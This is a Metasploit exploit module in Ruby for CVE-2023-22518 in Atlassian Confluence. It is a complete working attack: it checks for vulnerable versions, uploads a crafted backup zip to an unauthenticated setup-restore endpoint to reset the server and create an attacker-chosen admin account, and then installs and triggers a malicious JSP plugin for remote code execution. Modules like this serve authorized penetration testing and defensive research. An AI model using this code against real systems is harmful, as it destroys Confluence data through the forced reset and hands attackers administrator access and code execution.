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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
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  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',
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        'Description' => %q{
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          This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
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          Confluence instance administrator account. Using this account, an attacker can then perform all
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          administrative actions that are available to Confluence instance administrator. This module uses the
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          administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
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          execution on the target in the context of the of the user running the confluence server.
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        },
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        'Author' => [
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          'Atlassian', # Discovery
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          'jheysel-r7' # msf module
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        ],
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        'References' => [
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          [ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
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          [ 'CVE', '2023-22518']
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        ],
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        'License' => MSF_LICENSE,
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        'Privileged' => false,
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        'Targets' => [
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          [
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            'Java',
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            {
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              'Platform' => 'java',
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              'Arch' => [ARCH_JAVA]
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            },
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          ]
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        ],
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        'DisclosureDate' => '2023-10-31',
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        'Notes' => {
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          'Stability' => [ CRASH_SAFE, ],
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          'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials
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          'Reliability' => [ REPEATABLE_SESSION, ]
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(8090),
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        OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
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        OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
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        # The endpoint we target to trigger the vulnerability.
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        OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),
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        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
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        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
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      ]
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    )
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  end
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  def check
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    confluence_version = get_confluence_version
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    return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version
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    # Confluence Server and Confluence Data Center have the same vulnerable version ranges.
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    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
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       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
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       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
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       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||
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       confluence_version == Rex::Version.new('8.6.0')
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      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
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    end
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    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
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  end
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  # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html
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  def generate_hash(password)
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    salt = OpenSSL::Random.random_bytes(16)
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    iterations = 10000
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    digest = OpenSSL::Digest.new('SHA1')
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    key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)
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    salted_key = salt + key
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    encoded_hash = Base64.strict_encode64(salted_key)
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    '{PKCS5S2}' + encoded_hash
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  end
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  def create_zip
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    zip_file = Rex::Zip::Archive.new
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    # exportDescriptor.properties needs to be present in the zip file in order for it to be valid.
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    export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))
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    zip_file.add_file('exportDescriptor.properties', export_descriptor)
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    entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))
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    entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)
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    entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])
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    entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))
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    zip_file.add_file('entities.xml', entities_xml)
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    zip_file.pack
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  end
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  def upload_backup
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    zip_file = create_zip
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    post_data = Rex::MIME::Message.new
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    post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')
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    post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')
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    post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")
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    data = post_data.to_s
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),
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      'method' => 'POST',
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      'data' => data,
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      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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      'keep_cookies' => true,
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      'headers' => {
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        'X-Atlassian-Token' => 'no-check'
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      },
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      'vars_get' => {
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        'synchronous' => 'true'
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      }
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    }, 120)
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    fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200
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    print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")
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  end
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  def exploit
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    print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
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    # Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password
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    upload_backup
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    # Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.
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    payload_endpoint = rand_text_alphanumeric(8)
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    plugin_key = rand_text_alpha(8)
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    begin
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      payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)
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      upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
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      trigger_payload_plugin(payload_endpoint)
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    ensure
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      delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
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    end
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  end
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end
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